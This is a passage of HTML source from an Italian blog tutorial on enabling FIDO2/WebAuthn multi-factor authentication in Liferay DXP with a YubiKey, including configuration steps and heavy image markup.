02-7%200-8%200-14-5-11-7-10-8-10%207m-95-6v6h11v-3l1-4%201%203c-1%203-1%204%201%204s2-1%201-4l-1-4-11%201c-1%201-1%200-1-2l-1-3-1%206m19-2c-3%202-3%207%200%208%203%200%205-2%205-5%200-2%200-2%202%201%201%205%202%205%203%202l1-2%201%202c1%203%202%202%204-3%201-3%201-3-2-3l-5%202h-1c1-2%200-2-2-2h-6m-83%2073v5l1%204h8l9-1-1-4c-1-3-2-3-4-3-3%200-4%200-4%203%201%204-1%204-2%200l-1-3-1%204-1%203-2-4-1-5-1%201m122%2020c-5%206%200%2015%207%2014%202-1%203%200%206%202%203%204%206%204%206%202l-3-4c-2-3-3-4-3-8%200-7-7-11-13-6m34%202l-2%207c0%203%200%204-2%204v1l-3%201-4%201%2013%201%2013-1-7-1h-6l2-3c3-3%203-3%205-1%201%201%206%201%206-1h-6c-1-3-2-2-5%201-4%203-5%202-2-2%202-3%202-8%200-9l-2%202m-106%2073v6h3l5-1h2c1%201%204%201%204-1h-1l-2-1c-1-1%200-1%201-1%202%200%203-1%203-2%201-1%201%200%201%202%200%203%200%204%202%204l1-4%201-3%201-1h-8c-2-2-5%200-5%204%200%203-2%202-2-1s-1-3-2-3l-2-2-1-2-1%206m-56%208c-6%204-7%204-15%204-9%200-9%200-2%201%2010%200%2010%202%200%202-7%200-7%200-14-5l-8-5-1%2013v12h23l23-1v-25l-6%204m29%2059v5l-1%203-1-3-1-4c-1%200-2%201-2%204l1%204h4c4%200%204%200%203-3%200-4%201-4%203%200v6c2%200%204-3%205-9v-2l-2%202-1%202v-3l-2-1c-2%200-3%200-2-1%200-3-2-2-4%200m44%203c0%204%200%205-2%205l-1-3c1-4-1-8-2-5s1%2010%203%209h13c1%201%204%200%203-1h-1l-2-1c-1-1%200-1%202-1%203%200%203-3%200-4-2-2-5%200-5%204%200%202%200%202-1%200%200-2-1-4-3-4l-2-3-1-1c-1%200-2%201-1%205m72%209c-8%206-2%2019%208%2018%203-1%204%200%208%204l7%204c3-1%202-4-2-9-4-4-5-5-4-8%201-9-9-16-17-9m44%202l-2%208c0%206-1%208-4%207l-1%201c2%202%2010%201%2014-3l4-3c0%203%203%204%206%203l3-2h-2c-3%201-5%201-5-1%200-3-3-2-7%202-5%205-7%204-4-1%204-5%205-10%203-12s-4-1-5%201m-175%2010c-3%202-2%206%202%207%201%201%201%201-1%201s-2%200-1%201c2%201%205%200%205-2s0-2%201-1c1%203%204%201%204-2l1-4%201%203c-1%203-1%204%201%204s2-1%201-3c-1-6-4-7-8-5h-1c0-1-4-1-5%201m-87%2072c0%206%200%2011%201%2010l8%207%207%207h29v-35H35v11m121-6c-4%200-5%201-5%202l2%201c2-1%202%204%201%207-1%201%200%201%202%201%201%200%202%200%201-1s0-8%201-7l2-1c1-1%201%200%201%204-1%204%200%205%201%205%202%200%202-1%201-3%200-2%200-3%202-3l1%203c-1%203-1%203%204%203%203%200%204%200%203-1v-4c0-2%200-3-2-3-1%200-2%201-1%204%200%204-2%203-2-1%200-2-1-3-3-3l-2-2-1-2-6%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/4cf51c814a6ea128d13bcfa3e58871e4/c85cb/webauthn-credential-authentication-flow.webp 300w,/static/4cf51c814a6ea128d13bcfa3e58871e4/e88ff/webauthn-credential-authentication-flow.webp 600w,/static/4cf51c814a6ea128d13bcfa3e58871e4/5f564/webauthn-credential-authentication-flow.webp 791w&quot; sizes=&quot;(max-width: 791px) 100vw, 791px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/4cf51c814a6ea128d13bcfa3e58871e4/5a46d/webauthn-credential-authentication-flow.png 300w,/static/4cf51c814a6ea128d13bcfa3e58871e4/0a47e/webauthn-credential-authentication-flow.png 600w,/static/4cf51c814a6ea128d13bcfa3e58871e4/cc8d6/webauthn-credential-authentication-flow.png 791w&quot; sizes=&quot;(max-width: 791px) 100vw, 791px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 2 - Flusso di autenticazione delle credenziali WebAuthn (fonte https://webauthn.guide/)&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/4cf51c814a6ea128d13bcfa3e58871e4/cc8d6/webauthn-credential-authentication-flow.png&quot; title=&quot;Figura 2 - Flusso di autenticazione delle credenziali WebAuthn (fonte https://webauthn.guide/)&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 2 - Flusso di autenticazione delle credenziali WebAuthn (fonte https://webauthn.guide/)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Per approfondire l&amp;#x27;argomento circa l&amp;#x27;uso delle WebAuthn API di registrazione e
autenticazione, consiglio di leggere &lt;a href=&quot;https://webauthn.guide/&quot;&gt;WebAuthn: A better alternative for securing our sensitive information online&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Queste due fasi di registrazione e autenticazione le vedremo poi in maniera
distinta dal punto di vista pratico proprio su Liferay.&lt;/p&gt;&lt;h2 id=&quot;3-requisiti-per-usare-fido2-con-liferay&quot;&gt;3. Requisiti per usare FIDO2 con Liferay&lt;/h2&gt;&lt;p&gt;Prima di procedere con l&amp;#x27;attività di configurazione della &lt;em&gt;Multi-Factor Authentication (MFA)&lt;/em&gt;
tramite FIDO2, è necessario che abbiate la disponibilità di una
&lt;a href=&quot;https://en.wikipedia.org/wiki/Security_token&quot;&gt;Security Key o Token&lt;/a&gt; e
quest&amp;#x27;ultima sia certificata FIDO2 (vedi &lt;a href=&quot;https://fidoalliance.org/fido-certified-showcase/&quot;&gt;FIDO Certified Showcase&lt;/a&gt;). &lt;/p&gt;&lt;p&gt;Per il caso presentato in questo articolo, utilizzerò la Security Key (o Token)
&lt;a href=&quot;https://www.yubico.com/products/yubikey-5-overview/&quot;&gt;YubiKey 5 Series&lt;/a&gt;.
Ho preferito optare per questo dispositivo hardware poiché offre il supporto
multiprotocollo consentendo una forte sicurezza per ambienti legacy e moderni.
Questa Security Key è inoltre consigliata da Liferay. &lt;/p&gt;&lt;p&gt;Le caratteristiche principali di questa serie di Security Key:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Multi-protocol support; FIDO2, U2F, Smart Card, OTP, OpenPGP 3&lt;/li&gt;&lt;li&gt;USB-A, USB-C, NFC, Lightning&lt;/li&gt;&lt;li&gt;IP68 rated, crush resistant, no batteries required, no moving parts&lt;/li&gt;&lt;/ul&gt;&lt;h2 id=&quot;4-configurazione-multi-factor-authentication-per-fido2&quot;&gt;4. Configurazione Multi-Factor Authentication per FIDO2&lt;/h2&gt;&lt;p&gt;Lo standard &lt;em&gt;Fast IDentity Online 2&lt;/em&gt; o FIDO2 consente l&amp;#x27;uso di dati biometrici
(cioè lettori di impronte digitali), dispositivi mobili o altre chiavi di
sicurezza per l&amp;#x27;autenticazione senza password. Gli amministratori devono solo
abilitare FIDO2 per la propria istanza, quindi gli utenti possono registrarsi e
utilizzare i loro dispositivi compatibili con FIDO2.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Attenzione!&lt;/strong&gt; La Multi-Factor Authentication è disponibile solo su Liferay
DXP, non è possibile quindi attivare l&amp;#x27;MFA sulla Community Edition.&lt;/p&gt;&lt;p&gt;Prima di poter configurare FIDO2, è necessario abilitare la
&lt;em&gt;Multi-Factor Authentication&lt;/em&gt;. Lo stato predefinito è &lt;u&gt;abilitato a livello di sistema ma disabilitato nell&amp;#x27;istanza predefinita&lt;/u&gt;.
In effetti, ciò significa che l&amp;#x27;MFA è difatti disabilitato sulle installazioni
Liferay DXP standard. &lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/d1afc0657e3f09da0d6816bccfe12d58/9d1a3/system-settings-configure-and-enable-multifactor-autentication-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:32.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;129\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20129\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M2%207v5h44V2H2v5m1%200v4h42V3H3v4m54%200l45%201c54%201%2067%201%2092%205%2049%206%2077%2019%2078%2035l1%205%201-4c-4-23-41-36-114-41-19-1-90-2-103-1m197%2066l1%2018h35V55h-36v18m2%200v16h33V56h-33v17\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/d1afc0657e3f09da0d6816bccfe12d58/c85cb/system-settings-configure-and-enable-multifactor-autentication-1.webp 300w,/static/d1afc0657e3f09da0d6816bccfe12d58/e88ff/system-settings-configure-and-enable-multifactor-autentication-1.webp 600w,/static/d1afc0657e3f09da0d6816bccfe12d58/92f8c/system-settings-configure-and-enable-multifactor-autentication-1.webp 1200w,/static/d1afc0657e3f09da0d6816bccfe12d58/62ed8/system-settings-configure-and-enable-multifactor-autentication-1.webp 1800w,/static/d1afc0657e3f09da0d6816bccfe12d58/46261/system-settings-configure-and-enable-multifactor-autentication-1.webp 2400w,/static/d1afc0657e3f09da0d6816bccfe12d58/27ab9/system-settings-configure-and-enable-multifactor-autentication-1.webp 2484w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/d1afc0657e3f09da0d6816bccfe12d58/5a46d/system-settings-configure-and-enable-multifactor-autentication-1.png 300w,/static/d1afc0657e3f09da0d6816bccfe12d58/0a47e/system-settings-configure-and-enable-multifactor-autentication-1.png 600w,/static/d1afc0657e3f09da0d6816bccfe12d58/c1b63/system-settings-configure-and-enable-multifactor-autentication-1.png 1200w,/static/d1afc0657e3f09da0d6816bccfe12d58/d61c2/system-settings-configure-and-enable-multifactor-autentication-1.png 1800w,/static/d1afc0657e3f09da0d6816bccfe12d58/97a96/system-settings-configure-and-enable-multifactor-autentication-1.png 2400w,/static/d1afc0657e3f09da0d6816bccfe12d58/9d1a3/system-settings-configure-and-enable-multifactor-autentication-1.png 2484w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 3 - Accesso alla configurazione della Multi-Factor Authentication a livello di sistema&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/d1afc0657e3f09da0d6816bccfe12d58/c1b63/system-settings-configure-and-enable-multifactor-autentication-1.png&quot; title=&quot;Figura 3 - Accesso alla configurazione della Multi-Factor Authentication a livello di sistema&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 3 - Accesso alla configurazione della Multi-Factor Authentication a livello di sistema&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ccc8d473d15c908551d926e93b8c1d9b/5b712/system-settings-configure-and-enable-multifactor-autentication-2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:29.000000000000004%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;116\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20116\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2058A652%20652%200%20001%209L0%2058m159-20c-1%203-1%204%205%204l6-1h31c1%202%202%201%202-1l-4-2h-8l-3%201h-4v-1l-2-1c-2%202-11%202-12%201l-6%202h-1l-1-1h-1l-2-1m71%200l-1%202c0%202%201%202%208%202l8%201h3l4-1%202-1h1l7%201%206-1h1c1%201%201%201%201-1s0-2-3-2h-8l-3%201h-3l-2%201h-2l-3-2h-1l-3-1c-2%202-9%202-10%201h-2M118%2091v7l1%205h20V91l-10-1-11%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ccc8d473d15c908551d926e93b8c1d9b/c85cb/system-settings-configure-and-enable-multifactor-autentication-2.webp 300w,/static/ccc8d473d15c908551d926e93b8c1d9b/e88ff/system-settings-configure-and-enable-multifactor-autentication-2.webp 600w,/static/ccc8d473d15c908551d926e93b8c1d9b/92f8c/system-settings-configure-and-enable-multifactor-autentication-2.webp 1200w,/static/ccc8d473d15c908551d926e93b8c1d9b/62ed8/system-settings-configure-and-enable-multifactor-autentication-2.webp 1800w,/static/ccc8d473d15c908551d926e93b8c1d9b/46261/system-settings-configure-and-enable-multifactor-autentication-2.webp 2400w,/static/ccc8d473d15c908551d926e93b8c1d9b/58fe8/system-settings-configure-and-enable-multifactor-autentication-2.webp 2692w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ccc8d473d15c908551d926e93b8c1d9b/5a46d/system-settings-configure-and-enable-multifactor-autentication-2.png 300w,/static/ccc8d473d15c908551d926e93b8c1d9b/0a47e/system-settings-configure-and-enable-multifactor-autentication-2.png 600w,/static/ccc8d473d15c908551d926e93b8c1d9b/c1b63/system-settings-configure-and-enable-multifactor-autentication-2.png 1200w,/static/ccc8d473d15c908551d926e93b8c1d9b/d61c2/system-settings-configure-and-enable-multifactor-autentication-2.png 1800w,/static/ccc8d473d15c908551d926e93b8c1d9b/97a96/system-settings-configure-and-enable-multifactor-autentication-2.png 2400w,/static/ccc8d473d15c908551d926e93b8c1d9b/5b712/system-settings-configure-and-enable-multifactor-autentication-2.png 2692w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 4 - A livello di sistema l&amp;#x27;MFA è abilitata&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ccc8d473d15c908551d926e93b8c1d9b/c1b63/system-settings-configure-and-enable-multifactor-autentication-2.png&quot; title=&quot;Figura 4 - A livello di sistema l&amp;#x27;MFA è abilitata&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 4 - A livello di sistema l&amp;#x27;MFA è abilitata&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Quello che occorre fare adesso, è l&amp;#x27;abilitazione dell&amp;#x27;MFA per l&amp;#x27;istanza di portale. &lt;/p&gt;&lt;p&gt;Quest&amp;#x27;attività richiede solo due passaggi:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Andare su &lt;em&gt;Control Panel → Instance Settings → Security → Multi-Factor Authentication → Multi-Factor Authentication One-Time Password Configuration&lt;/em&gt;&lt;/li&gt;&lt;li&gt;Selezionare la casella &lt;em&gt;Enabled&lt;/em&gt; e fare clic sul pulsante &lt;em&gt;Save&lt;/em&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Le due figure a seguire mostrano i passaggi esatti da compiere. Subito dopo aver
salvato la configurazione, dovreste veder apparire sulla spalla sinistra le
altre possibili configurazioni per MFA, di cui una è quella di FIDO2
(vedi figura 7).&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0dc106e47a13267e0b664e6a4c4a7e55/b4472/instance-settings-configure-and-enable-multifactor-autentication-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:26%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;103\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20103\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M2%208v6h49v-3l1-2h23c39%200%2062%204%2080%2016%205%203%206%204%204%201-3-3-20-11-30-13-15-4-31-6-56-6H51V1H2v7m2-5L3%208v5h47V3L27%202%204%203m156%2077v16h35V63h-35v17m2-15l-1%2015%201%2015h31V64h-15l-16%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/0dc106e47a13267e0b664e6a4c4a7e55/c85cb/instance-settings-configure-and-enable-multifactor-autentication-1.webp 300w,/static/0dc106e47a13267e0b664e6a4c4a7e55/e88ff/instance-settings-configure-and-enable-multifactor-autentication-1.webp 600w,/static/0dc106e47a13267e0b664e6a4c4a7e55/92f8c/instance-settings-configure-and-enable-multifactor-autentication-1.webp 1200w,/static/0dc106e47a13267e0b664e6a4c4a7e55/62ed8/instance-settings-configure-and-enable-multifactor-autentication-1.webp 1800w,/static/0dc106e47a13267e0b664e6a4c4a7e55/46261/instance-settings-configure-and-enable-multifactor-autentication-1.webp 2400w,/static/0dc106e47a13267e0b664e6a4c4a7e55/5d4d4/instance-settings-configure-and-enable-multifactor-autentication-1.webp 2468w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/0dc106e47a13267e0b664e6a4c4a7e55/5a46d/instance-settings-configure-and-enable-multifactor-autentication-1.png 300w,/static/0dc106e47a13267e0b664e6a4c4a7e55/0a47e/instance-settings-configure-and-enable-multifactor-autentication-1.png 600w,/static/0dc106e47a13267e0b664e6a4c4a7e55/c1b63/instance-settings-configure-and-enable-multifactor-autentication-1.png 1200w,/static/0dc106e47a13267e0b664e6a4c4a7e55/d61c2/instance-settings-configure-and-enable-multifactor-autentication-1.png 1800w,/static/0dc106e47a13267e0b664e6a4c4a7e55/97a96/instance-settings-configure-and-enable-multifactor-autentication-1.png 2400w,/static/0dc106e47a13267e0b664e6a4c4a7e55/b4472/instance-settings-configure-and-enable-multifactor-autentication-1.png 2468w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 5 - Accesso per l&amp;#x27;abilitazione della MFA a livello di configurazione d&amp;#x27;istanza&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/0dc106e47a13267e0b664e6a4c4a7e55/c1b63/instance-settings-configure-and-enable-multifactor-autentication-1.png&quot; title=&quot;Figura 5 - Accesso per l&amp;#x27;abilitazione della MFA a livello di configurazione d&amp;#x27;istanza&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 5 - Accesso per l&amp;#x27;abilitazione della MFA a livello di configurazione d&amp;#x27;istanza&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dal momento in cui è attiva l&amp;#x27;MFA, dal prossimo accesso sarà necessario
specificare il codice OTP (One-Time Password) inviato per email, per questo
motivo è importante configurare correttamente il server
&lt;a href=&quot;https://learn.liferay.com/dxp/latest/en/installation-and-upgrades/setting-up-liferay/configuring-mail.html&quot;&gt;SMTP d&amp;#x27;invio email&lt;/a&gt;. &lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/6e20d/instance-settings-configure-and-enable-multifactor-autentication-2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:64.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;257\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20257\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M125%2060l-1%202a823%20823%200%200127%202c6%200%208-1%208-3h-15c0-2-2-2-3%200h-2c-2-2-6-2-7%200%200%202%200%202-2%200-1-2-1-2-2-1h-3m36%201c-1%203-1%203%205%203l6-1h1l3%201%203-1h1c1%202%2019%202%2020%200h1l2%201c1-2-2-4-5-3l-3-1h-22c-2-1-6%201-6%202l-1%201c-2-4-4-4-5-2m130%200c-2%202%200%203%208%203l7%201h2l3-1%203-1h1l6%201%206-1h1l2%201c1-2-2-4-5-3l-3-1h-23l-4%202h-3l2-1%201-1c-1-1-3-1-4%201M126%2084l-1%2014v13h229V84l-114-1-114%201m0%2014v12h227V85H126v13m6%20125c0%202%208%204%2010%202h27a912%20912%200%200055-2%20266%20266%200%2001-26%200h-66M17%20238c-1%201%200%202%202%203%205%203%20357%203%20362%200%202-1%203-2%202-3H17\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/c85cb/instance-settings-configure-and-enable-multifactor-autentication-2.webp 300w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/e88ff/instance-settings-configure-and-enable-multifactor-autentication-2.webp 600w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/92f8c/instance-settings-configure-and-enable-multifactor-autentication-2.webp 1200w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/62ed8/instance-settings-configure-and-enable-multifactor-autentication-2.webp 1800w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/46261/instance-settings-configure-and-enable-multifactor-autentication-2.webp 2400w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/5dbbc/instance-settings-configure-and-enable-multifactor-autentication-2.webp 2902w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/5a46d/instance-settings-configure-and-enable-multifactor-autentication-2.png 300w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/0a47e/instance-settings-configure-and-enable-multifactor-autentication-2.png 600w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/c1b63/instance-settings-configure-and-enable-multifactor-autentication-2.png 1200w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/d61c2/instance-settings-configure-and-enable-multifactor-autentication-2.png 1800w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/97a96/instance-settings-configure-and-enable-multifactor-autentication-2.png 2400w,/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/6e20d/instance-settings-configure-and-enable-multifactor-autentication-2.png 2902w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 6 - Abilitazione dell&amp;#x27;MFA&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1835dc3e3ea67e6ee368b4c1fcdfb2ce/c1b63/instance-settings-configure-and-enable-multifactor-autentication-2.png&quot; title=&quot;Figura 6 - Abilitazione dell&amp;#x27;MFA&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 6 - Abilitazione dell&amp;#x27;MFA&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Una volta attivata la &lt;em&gt;Multi-Factor Authentication&lt;/em&gt;, è possibile abilitare e
configurare l&amp;#x27;uso di FIDO2. Per compiere quest&amp;#x27;operazione è sufficiente
procedere nel seguente modo:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Andare su &lt;em&gt;Control Panel → Instance Settings → Security → Multi-Factor Authentication&lt;/em&gt;. Assicurarsi di aver abilitato l&amp;#x27;autenticazione a più fattori prima di configurare FIDO2 (vedi step precedente)&lt;/li&gt;&lt;li&gt;Fare clic su &lt;em&gt;Fast IDentity Online 2 Configuration&lt;/em&gt; nella barra di navigazione a sinistra&lt;/li&gt;&lt;li&gt;Fare clic sulla casella di controllo &lt;em&gt;Enabled&lt;/em&gt; per abilitare FIDO2&lt;/li&gt;&lt;/ol&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9e7948f7e5bd2de7f621d71b61e41641/bdedb/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:35.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;141\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20141\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M63%2025c-3%202-1%203%2016%203l16-1c0-2-3-2-11-2a280%20280%200%2001-21%200m136%2030l-8%201c-5%200-5%200-5%202%200%201%200%202%204%202l5-1h1l2%201%201-1h2c1%202%204%203%204%201h10l9-1h1c1%202%202%201%202-1l-4-2-4-1h-20M27%2083v11l1%209h67V83l-34-1-34%201m2%203c0%201%200%202%202%201v1l-1%202-1%202c0%201%200%202%202%201v2h1c1-1%2024-2%2025%200%201%201-3%201-15%201-13%200-13%200-13%203v2h64V84H61c-31%200-32%200-32%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
